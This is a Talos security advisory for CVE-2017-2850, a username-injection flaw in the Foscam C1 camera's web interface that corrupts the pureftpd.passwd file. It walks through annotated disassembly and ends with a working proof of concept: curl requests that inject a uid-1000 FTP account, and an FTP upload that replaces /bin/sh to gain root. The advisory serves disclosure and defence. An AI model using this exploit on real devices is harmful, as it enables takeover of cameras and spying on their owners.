Talos Vulnerability Report

TALOS-2017-0352

Foscam IP Video Camera CGIProxy.fcgi Change Username pureftpd.passwd Injection Vulnerability

June 19, 2017
CVE Number

CVE-2017-2850

Summary

An exploitable injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can allow for a user to inject arbitrary characters in the pureftpd.passwd file during a username change, which in turn allows for bypassing chroot restrictions in the FTP server. An attacker can simply send an HTTP request to the device to trigger this vulnerability.

Tested Versions

Foscam, Inc. Indoor IP Camera C1 Series

System Firmware Version: 1.9.3.17
Application Firmware Version: 2.52.2.37
Web Version: 2.0.1.1
Plug-In Version: 3.3.0.5

Product URLs

Foscam

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Details

Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the ARM architecture. Foscam is considered one of the most common security cameras out on the current market.

When various services are started, a service will first register a callback using the CMsgClient::registerMsgHandle function [1]. This will register a function to be called [2] when another service dispatches a message of the specified code [3]. An example of this registration process is handled inside the FCGI_Init function of the "CGIProxy.fcgi" service using the following code:

.text:00009F20                       FCGX_Init_1f20
.text:00009F20
.text:00009F20 F0 41 2D E9                       STMFD   SP!, {R4-R8,LR}
.text:00009F24 41 DE 4D E2                       SUB     SP, SP, #0x410
.text:00009F28 08 D0 4D E2                       SUB     SP, SP, #8
.text:00009F2C 05 FC FF EB                       BL      FCGX_Init
.text:00009F2C
.text:00009F30 00 10 50 E2                       SUBS    R1, R0, #0
.text:00009F34 44 01 9F 15                       LDRNE   R0, =str.FCGX_Initfailed
.text:00009F38 05 00 00 1A                       BNE     leave_exit_1f54
.text:00009F3C
.text:00009F3C 40 01 9F E5                       LDR     R0, =gv_theRequest_10b74
.text:00009F40 01 20 A0 E1                       MOV     R2, R1
.text:00009F44 1A FC FF EB                       BL      FCGX_InitRequest
.text:00009F48
.text:00009F48 00 00 50 E3                       CMP     R0, #0
.text:00009F4C 03 00 00 0A                       BEQ     loc_9F60
...
.text:00009F60                       loc_9F60
.text:00009F60 DB FE FF EB                       BL      registerMsgClients_1ad4    ; \
\
.text:00009AD4                       registerMsgClients_1ad4
.text:00009AD4 10 40 2D E9                       STMFD   SP!, {R4,LR}
.text:00009AD4
.text:00009AD8 30 40 9F E5                       LDR     R4, =gp_cMsgClient_bac8
.text:00009ADC 30 10 9F E5                       LDR     R1, =0x40004001                                                ; [3] code
.text:00009AE0 04 00 A0 E1                       MOV     R0, R4
.text:00009AE4 2C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38                               ; [2] callback function
.text:00009AE8 3D FD FF EB                       BL      CMsgClient::registerMsgHandle(int,void (*)(char const*,int))   ; [1]
.text:00009AE8
.text:00009AEC 04 00 A0 E1                       MOV     R0, R4
.text:00009AF0 24 10 9F E5                       LDR     R1, =0x3001
.text:00009AF4 1C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38
.text:00009AF8 39 FD FF EB                       BL      CMsgClient::registerMsgHandle(int,void (*)(char const*,int))
.text:00009AF8
.text:00009AFC 04 00 A0 E1                       MOV     R0, R4
.text:00009B00 18 10 9F E5                       LDR     R1, =0x3002
.text:00009B04 0C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38
.text:00009B08 10 40 BD E8                       LDMFD   SP!, {R4,LR}
.text:00009B0C 34 FD FF EA                       B       CMsgClient::registerMsgHandle(int,void (*)(char const*,int))

After the "CGIProxy.fcgi" service decodes an http request that's forwarded from the http daemon, the service will copy the decoded query into a buffer on the stack [4]. Once this is done, the buffer will then be used to pass the decoded query to CMsgClient::sendMsg. This will dispatch the query to the shared messaging subsystem using the code 0x4001 at [5]. At this point, the service that handles the specified code will be woken up to handle the specified request.

.text:00009FA8 14 70 8D E2                       ADD     R7, SP, #0x430+lv_dest_41c
.text:00009FAC 08 10 A0 E1                       MOV     R1, R8
.text:00009FB0 07 00 A0 E1                       MOV     R0, R7
.text:00009FB4 34 FC FF EB                       BL      strcpy                     ; [4]
.text:00009FB8
.text:00009FB8 08 00 A0 E1                       MOV     R0, R8
.text:00009FBC C0 FB FF EB                       BL      strlen
.text:00009FC0
.text:00009FC0 CC 30 9F E5                       LDR     R3, =0x404
.text:00009FC4 00 30 8D E5                       STR     R3, [SP]
.text:00009FC8 C8 10 9F E5                       LDR     R1, =0x4001                ; [5]
.text:00009FCC 07 30 A0 E1                       MOV     R3, R7                     ; uri request
.text:00009FD0 01 20 A0 E3                       MOV     R2, #1
.text:00009FD4 04 40 8D E5                       STR     R4, [SP,#4]
.text:00009FD8 08 40 8D E5                       STR     R4, [SP,#8]
.text:00009FDC 0C 40 8D E5                       STR     R4, [SP,#12]
.text:00009FE0 14 04 8D E5                       STR     R0, [SP,#0x430+var_1C]
.text:00009FE4 B0 00 9F E5                       LDR     R0, =gp_cMsgClient_bac8
.text:00009FE8 CD FB FF EB                       BL      CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)

The handler for code 0x4001 is in the "webService" binary and is done by the function executeCGICmd at address 0x1e5a4. At the beginning of this function, the service will call a function [6] that's responsible for extracting the user name, password, and command that was specified within the user's query. Once the parameters have been extracted and copied into a local buffer on the stack, the command will be passed to the function call at [7] in order to determine the correct command function which is stored to funcptr. If authentication is not required for the command, then the branch at [8] will execute the function pointer returned by findJsonCallbackCommand at [7]. If authentication is required from the command, then the user name and password will be checked via strcmp and then the function call at [9] will execute the function pointer.

.text:0001E5A4                       executeCGICmd
.text:0001E5A4
.text:0001E5A4 F0 41 2D E9                       STMFD   SP!, {R4-R8,LR}
.text:0001E5A8 28 60 80 E2                       ADD     R6, R0, #0x28
.text:0001E5AC 11 DD 4D E2                       SUB     SP, SP, #0x440
.text:0001E5B0 00 80 A0 E1                       MOV     R8, R0
.text:0001E5B4 06 10 A0 E1                       MOV     R1, R6
.text:0001E5B8 C4 00 9F E5                       LDR     R0, =unk_D5A68
.text:0001E5BC 3A 2A 00 EB                       BL      sub_28EAC                          ; [6]
.text:0001E5C0 00 70 50 E2                       SUBS    R7, R0, #0
.text:0001E5C4 27 00 00 0A                       BEQ     replyMsg_1E668

.text:00028EAC                       sub_28EAC
.text:00028EAC
.text:00028EAC F0 47 2D E9                       STMFD   SP!, {R4-R10,LR}
.text:00028EB0 00 40 51 E2                       SUBS    R4, R1, #0
.text:00028EB4 00 80 A0 E1                       MOV     R8, R0
.text:00028EB8 46 DF 4D E2                       SUB     SP, SP, #0x118
.text:00028EBC 00 00 E0 03                       MOVEQ   R0, #0xFFFFFFFF
.text:00028EC0 8B 00 00 0A                       BEQ     leaving_290F4
...
.text:00028F4C 00 00 50 E3                       CMP     R0, #0
.text:00028F50 0C 00 00 1A                       BNE     findCmdCallback_28F88
...
.text:00028F88                       findCmdCallback_28F88
.text:00028F88 05 00 A0 E1                       MOV     R0, R5
.text:00028F8C 45 1F 8D E2                       ADD     R1, SP, #0x138+lp_funcptr?_24
.text:00028F90 89 FC FF EB                       BL      findJsonCallbackCommand_281BC      ; [7]
.text:00028F94 00 90 50 E2                       SUBS    R9, R0, #0
.text:00028F98 06 00 00 0A                       BEQ     checkIfAuthNeeded_28FB8
...
.text:00028FB8                       checkIfAuthNeeded_28FB8
.text:00028FB8 14 31 9D E5                       LDR     R3, [SP,#0x138+lp_funcptr?_24]
.text:00028FBC 54 21 9F E5                       LDR     R2, =0xFFFF
.text:00028FC0 08 10 93 E5                       LDR     R1, [R3,#8]
.text:00028FC4 02 00 51 E1                       CMP     R1, R2
.text:00028FC8 06 00 00 1A                       BNE     authenticate_28FE8
...
.text:00028FD8 04 00 A0 E1                       MOV     R0, R4
.text:00028FDC 33 FF 2F E1                       BLX     R3                                 ; [8]
.text:00028FE0 09 00 A0 E1                       MOV     R0, R9
.text:00028FE4 42 00 00 EA                       B       leaving_290F4
...
.text:000290E0 04 00 A0 E1                       MOV     R0, R4
.text:000290E4 33 FF 2F E1                       BLX     R3                                 ; [9]
.text:000290E8 05 00 A0 E1                       MOV     R0, R5
.text:000290EC 00 00 00 EA                       B       leaving_290F4
...
.text:000290F4 46 DF 8D E2                       ADD     SP, SP, #0x118
.text:000290F8 F0 87 BD E8                       LDMFD   SP!, {R4-R10,PC}

When handling the "CGIProxy.fcgi" command "changeUserName", the function changeUserName_39544 will be called. This function is responsible for changing the username of an existing user account. At the beginning of the function, the parameters [10] for "usrName", "newUsrName", "usr", and "callbackJson" are extracted from the query. The function then checks that the user (given by the "usr" parameter) either has privilege 2 [11] (i.e. administrator) or that the account that he's changing the username for is his [12]. This last check is useless since this command is only allowed for users with privilege 2. Finally it checks that the "usrName" [13] and "newUsrName" [14] parameters are not null and passes them to the changeAccountUsername_1d6e8 function [15].

.text:00041544                       changeUserName_39544
.text:00041544
.text:00041544 F0 41 2D E9                       STMFD   SP!, {R4-R8,LR}
...
.text:00041570 4A 8E 8D E2                       ADD     R8, SP, #0x4F8+var_58
...
.text:00041578 C0 11 9F E5                       LDR     R1, =str.usrName                   ; [10]
.text:0004157C 08 20 A0 E1                       MOV     R2, R8
.text:00041580 05 00 A0 E1                       MOV     R0, R5
.text:00041584 2F 9B FF EB                       BL      extract_param
.text:00041588 42 6E 8D E2                       ADD     R6, SP, #0x4F8+var_D8
.text:0004158C B0 11 9F E5                       LDR     R1, =str.newUsrName                ; [10]
.text:00041590 46 2E 8D E2                       ADD     R2, SP, #0x4F8+var_98
.text:00041594 05 00 A0 E1                       MOV     R0, R5
.text:00041598 2A 9B FF EB                       BL      extract_param
.text:0004159C 4E 4E 8D E2                       ADD     R4, SP, #0x4F8+var_18
.text:000415A0 A0 11 9F E5                       LDR     R1, =str.usr                       ; [10]
.text:000415A4 06 20 A0 E1                       MOV     R2, R6
.text:000415A8 05 00 A0 E1                       MOV     R0, R5
.text:000415AC 00 70 A0 E3                       MOV     R7, #0
.text:000415B0 24 9B FF EB                       BL      extract_param
.text:000415B4 CC 74 64 E5                       STRB    R7, [R4,#-0x4CC]!
.text:000415B8 8C 11 9F E5                       LDR     R1, =str.callbackJson              ; [10]
.text:000415BC 04 20 A0 E1                       MOV     R2, R4
.text:000415C0 05 00 A0 E1                       MOV     R0, R5
.text:000415C4 1F 9B FF EB                       BL      extract_param
.text:000415C8 80 01 9F E5                       LDR     R0, =off_C5268
.text:000415CC 06 10 A0 E1                       MOV     R1, R6
.text:000415D0 4F 8C FF EB                       BL      getUserPrivilege_1c714
.text:000415D4 02 00 50 E3                       CMP     R0, #2                             ; [11]
.text:000415D8 08 00 00 0A                       BEQ     loc_41600
.text:000415DC 06 00 A0 E1                       MOV     R0, R6
.text:000415E0 08 10 A0 E1                       MOV     R1, R8
.text:000415E4 14 47 FF EB                       BL      strcmp                             ; [12]
.text:000415E8 07 00 50 E1                       CMP     R0, R7
.text:000415EC 60 01 9F 15                       LDRNE   R0, =dword_D5A68
.text:000415F0 04 10 A0 11                       MOVNE   R1, R4
.text:000415F4 03 20 E0 13                       MOVNE   R2, #0xFFFFFFFC
.text:000415F8 07 30 A0 11                       MOVNE   R3, R7
.text:000415FC 3C 00 00 1A                       BNE     loc_416F4
.text:00041600
.text:00041600                       loc_41600
.text:00041600 A0 34 DD E5                       LDRB    R3, [SP,#0x4F8+var_58]             ; [13]
.text:00041604 00 00 53 E3                       CMP     R3, #0
.text:00041608 02 00 00 0A                       BEQ     loc_41618
.text:0004160C 60 34 DD E5                       LDRB    R3, [SP,#0x4F8+var_98]             ; [14]
.text:00041610 00 00 53 E3                       CMP     R3, #0
.text:00041614 03 00 00 1A                       BNE     loc_41628
...
.text:00041628                       loc_41628
.text:00041628 4A 6E 8D E2                       ADD     R6, SP, #0x4F8+var_58              ; [13]
.text:0004162C 46 7E 8D E2                       ADD     R7, SP, #0x4F8+var_98              ; [14]
.text:00041630 06 10 A0 E1                       MOV     R1, R6
.text:00041634 07 20 A0 E1                       MOV     R2, R7
.text:00041638 10 01 9F E5                       LDR     R0, =off_C5268
.text:0004163C 29 90 FF EB                       BL      changeAccountUsername_1d6e8        ; [15]

changeAccountUsername_1d6e8 first checks that "newUsrName" doesn't already exists [16] and that "usrName" exists [17], using a loop over the user-account object that was passed via r0. Then the new username is saved in the file "/mnt/mtd/app/config/UserAccountConfig.bin" [18].

.text:000256E8                       changeAccountUsername_1d6e8
.text:000256E8
.text:000256E8 F0 47 2D E9                      STMFD   SP!, {R4-R10,LR}
...
.text:0002571C
.text:0002571C                       loc_2571C                                              ; [16]
.text:0002571C 10 30 97 E5                      LDR     R3, [R7,#0x10]
.text:00025720 00 00 53 E3                      CMP     R3, #0
.text:00025724 F3 00 00 0A                      BEQ     loc_25AF8
.text:00025728 14 00 97 E5                      LDR     R0, [R7,#0x14]
.text:0002572C 04 10 A0 E1                      MOV     R1, R4
.text:00025730 C1 B6 FF EB                      BL      strcmp
.text:00025734 00 00 50 E3                      CMP     R0, #0
.text:00025738 EE 00 00 1A                      BNE     loc_25AF8
...
.text:00025AF8                       loc_25AF8
.text:00025AF8 01 A0 8A E2                      ADD     R10, R10, #1
.text:00025AFC 09 00 5A E3                      CMP     R10, #9
.text:00025B00 10 70 87 E2                      ADD     R7, R7, #0x10
.text:00025B04 04 FF FF 1A                      BNE     loc_2571C
...
.text:00025774                       loc_25774                                              ; [17]
.text:00025774 10 30 96 E5                      LDR     R3, [R6,#0x10]
.text:00025778 00 00 53 E3                      CMP     R3, #0
.text:0002577C 05 00 00 0A                      BEQ     loc_25798
.text:00025780 14 00 96 E5                      LDR     R0, [R6,#0x14]
.text:00025784 08 10 A0 E1                      MOV     R1, R8
.text:00025788 AB B6 FF EB                      BL      strcmp
.text:0002578C 00 00 50 E3                      CMP     R0, #0
.text:00025790 0A 90 A0 01                      MOVEQ   R9, R10
.text:00025794 01 70 A0 03                      MOVEQ   R7, #1
.text:00025798
.text:00025798                       loc_25798
.text:00025798 01 A0 8A E2                      ADD     R10, R10, #1
.text:0002579C 09 00 5A E3                      CMP     R10, #9
.text:000257A0 10 60 86 E2                      ADD     R6, R6, #0x10
.text:000257A4 F2 FF FF 1A                      BNE     loc_25774
.text:000257A8 00 00 57 E3                      CMP     R7, #0
.text:000257AC 0A 00 00 1A                      BNE     loc_257DC
...
.text:000257DC
.text:000257DC                       loc_257DC
.text:000257DC 09 02 85 E0                      ADD     R0, R5, R9,LSL#4
.text:000257E0 04 10 A0 E1                      MOV     R1, R4
.text:000257E4 14 00 80 E2                      ADD     R0, R0, #0x14
.text:000257E8 88 B5 FF EB                      BL      std::string::operator=(char const*)
.text:000257EC 10 00 85 E2                      ADD     R0, R5, #0x10
.text:000257F0 44 F4 FF EB                      BL      sub_22908                           ; [18]
.text:000257F4 05 00 A0 E1                      MOV     R0, R5
.text:000257F8 04 10 A0 E1                      MOV     R1, R4
.text:000257FC C4 FB FF EB                      BL      getUserPrivilege_1c714
.text:00025800 88 35 D5 E5                      LDRB    R3, [R5,#0x588]
.text:00025804 00 00 53 E3                      CMP     R3, #0
.text:00025808 B6 00 00 0A                      BEQ     loc_25AE8

The last operation needed to successfully update the username is an update of the FTP database. To do this, the function first ensures that the user's privilege is 2, then it opens the "pureftpd.passwd" [20] and reads its whole content in a local variable [21]. Then the username line of interest is searched with strstr [22] using "\n%s", where "%s" is the old username that has to be changed. The pointer to the old username is saved in r5 [23], and the "passwd" contents are split before r5 [24] by copying the preceding contents in a buffer [25]. The function then searches for ":" [26] (i.e. the pointer to the rest of the file after the old user name). The new "passwd" file is then rebuilt using snprintf [27] and concatenating the buffer [25], the new username and the contents after the old username [26]. Finally the "pure-pw mkdb" [28] command is ran to apply the database modifications without restarting the FTP daemon. Up until this point no checks are performed on the contents of the "newUsrName" parameter, which allows for arbitrarily injecting any characters in the "pureftpd.passwd" file.

.text:0002580C 02 00 50 E3                      CMP     R0, #2                          ; [19]
.text:00025810 B4 00 00 1A                      BNE     loc_25AE8
.text:00025814 04 33 9F E5                      LDR     R3, =off_D5F10
.text:00025818 04 13 9F E5                      LDR     R1, =str.rw                     ; "rw"
.text:0002581C 00 00 93 E5                      LDR     R0, [R3]                        ; "/usr/local/pureftpd/etc/pureftpd.passwd"
.text:00025820 C9 B4 FF EB                      BL      fopen                           ; [20]
.text:00025824 27 7C 8D E2                      ADD     R7, SP, #0x4E78+var_2778
.text:00025828 18 70 87 E2                      ADD     R7, R7, #0x18
...
.text:00025834 00 A0 A0 E1                      MOV     R10, R0
...
.text:00025850 07 00 A0 E1                      MOV     R0, R7
.text:00025854 01 10 A0 E3                      MOV     R1, #1
.text:00025858 C8 22 9F E5                      LDR     R2, =0x2710
.text:0002585C 0A 30 A0 E1                      MOV     R3, R10
.text:00025860 A4 B4 FF EB                      BL      fread                           ; [21]
...
.text:000258A0                       loc_258A0
.text:000258A0 4E 6C 8D E2                      ADD     R6, SP, #0x4E78+var_78
.text:000258A4 28 60 86 E2                      ADD     R6, R6, #0x28
.text:000258A8 06 00 A0 E1                      MOV     R0, R6
.text:000258AC 14 10 A0 E3                      MOV     R1, #0x14
.text:000258B0 7C 22 9F E5                      LDR     R2, =str.s_                     ; "\n%s:"
.text:000258B4 08 30 A0 E1                      MOV     R3, R8                          ; parameter "usrName"
.text:000258B8 0A B4 FF EB                      BL      snprintf
.text:000258BC 06 10 A0 E1                      MOV     R1, R6
.text:000258C0 07 00 A0 E1                      MOV     R0, R7
.text:000258C4 5C DC FF EB                      BL      j_strstr                        ; [22]
.text:000258C8 00 50 50 E2                      SUBS    R5, R0, #0                      ; [23]
.text:000258CC 00 60 A0 13                      MOVNE   R6, #0
.text:000258D0 0D 00 00 1A                      BNE     loc_2590C
...
.text:00025928 4E 0C 8D E2                      ADD     R0, SP, #0x4E78+var_78
.text:0002592C 4E 2C 8D E2                      ADD     R2, SP, #0x4E78+var_78
.text:00025930 48 00 80 E2                      ADD     R0, R0, #0x48
.text:00025934 54 20 82 E2                      ADD     R2, R2, #0x54
.text:00025938 C3 B3 FF EB                      BL      std::string::string()
.text:0002593C 27 2C 8D E2                      ADD     R2, SP, #0x4E78+var_2778
.text:00025940 18 20 82 E2                      ADD     R2, R2, #0x18
.text:00025944 01 20 62 E2                      RSB     R2, R2, #1
.text:00025948 4E 0C 8D E2                      ADD     R0, SP, #0x4E78+var_78
.text:0002594C 4E 1C 8D E2                      ADD     R1, SP, #0x4E78+var_78
.text:00025950 44 00 80 E2                      ADD     R0, R0, #0x44
.text:00025954 48 10 81 E2                      ADD     R1, R1, #0x48
.text:00025958 05 20 82 E0                      ADD     R2, R2, R5                      ; [23]
.text:0002595C 54 FF FF EB                      BL      sub_256B4                       ; [24]
.text:00025960 4E 6C 8D E2                      ADD     R6, SP, #0x4E78+var_78
.text:00025964 44 60 86 E2                      ADD     R6, R6, #0x44
.text:00025968 4E 0C 8D E2                      ADD     R0, SP, #0x4E78+var_78
.text:0002596C 4C 00 80 E2                      ADD     R0, R0, #0x4C
.text:00025970 06 10 A0 E1                      MOV     R1, R6
.text:00025974 0C B3 FF EB                      BL      std::string::operator=()        ; [25]
...
.text:00025A54 3A 10 A0 E3                      MOV     R1, #0x3A                       ; ':'
.text:00025A58 05 00 A0 E1                      MOV     R0, R5
.text:00025A5C 41 B6 FF EB                      BL      strchr                          ; [26]
.text:00025A60 01 C9 8D E2                      ADD     R12, SP, #0x4E78+var_E78
.text:00025A64 00 40 8D E5                      STR     R4, [SP,#0x4E78+var_4E78]
.text:00025A68 B8 10 9F E5                      LDR     R1, =0x2710
.text:00025A6C C8 20 9F E5                      LDR     R2, =str.sss                    ; "%s:%s:%s"
.text:00025A70 04 00 8D E5                      STR     R0, [SP,#0x4E78+var_4E74]
.text:00025A74 08 00 8D E2                      ADD     R0, SP, #0x4E78+s
.text:00025A78 4C 3E 9C E5                      LDR     R3, [R12,#0xE4C]
.text:00025A7C 99 B3 FF EB                      BL      snprintf                        ; [27]
.text:00025A80 0A 00 A0 E1                      MOV     R0, R10
.text:00025A84 0C B4 FF EB                      BL      fclose
.text:00025A88 90 30 9F E5                      LDR     R3, =off_D5F10
.text:00025A8C AC 10 9F E5                      LDR     R1, =str.w                      ; "w+"
.text:00025A90 00 00 93 E5                      LDR     R0, [R3]                        ; "/usr/local/pureftpd/etc/pureftpd.passwd"
.text:00025A94 2C B4 FF EB                      BL      fopen
.text:00025A98 00 40 A0 E1                      MOV     R4, R0
.text:00025A9C 04 10 A0 E1                      MOV     R1, R4
.text:00025AA0 08 00 8D E2                      ADD     R0, SP, #0x4E78+s
.text:00025AA4 E8 B4 FF EB                      BL      fputs
.text:00025AA8 04 00 A0 E1                      MOV     R0, R4
.text:00025AAC 02 B4 FF EB                      BL      fclose
.text:00025AB0 8C 00 9F E5                      LDR     R0, =str.purepwmkdb             ; [28]
.text:00025AB4 A4 B2 FF EB                      BL      system

By injecting the character ":" it's possible to add new fields to a line in the "passwd" file. This allows for modifying the uid, gid and directory used for chroot. Nevertheless, when using the "puredb" authentication method, "pure-ftpd" doesn't allow to log-in using uid 0, so the uid with highest privilege that can be used in this injection is 1000. By default the uid set for ftp users is 1001, which only has permission to write inside "/mnt/sd". Whereas users with uid 1000 have permission to write almost anywhere in the filesystem. This can be leveraged by an attacker to escalate privileges to root.

Exploit Proof-of-Concept

This vulnerability is reachable by the "changeUserName" command and requires a valid user account with privilege level 2. For clarity, the following proof-of-concept adds a new account with privilege level 2 before exploiting the vulnerability.

```
$ sUsr="admin"
$ sPwd=""
$ sFtpUsr="usr"
$ sFtpPwd="pwd"
$ sCryptPass=$(openssl passwd -crypt "${sFtpPwd}")
$ sInj=":${sCryptPass}:1000:1000::/::::::::::::"
$ curl "http://$SERVERIP:$SERVERPORT/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}&cmd=addAccount&usrName=${sFtpUsr}&usrPwd=${sFtpPwd}&privilege=2"
$ curl "http://$SERVERIP:$SERVERPORT/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}&cmd=changeUserName&usrName=${sFtpUsr}&newUsrName=${sFtpUsr}${sInj}"
```

By exploiting the fact that in this device many processes running as "root" use the system function, it's possible to escalate privileges by overwriting "/bin/sh" with a simple wrapper:

```
$ cat <<\EOF > sh
#!/bin/busybox sh
id > /tmp/www/injected.txt
exec /bin/busybox sh "$@"
EOF
$ echo -en "delete /bin/sh\nput sh /bin/sh\nchmod 777 /bin/sh\n" | ftp "ftp://${sFtpUsr}:${sFtpPwd}@${SERVERIP}:50021"
```

Timeline

2017-05-30 - Vendor Disclosure
2017-06-19 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.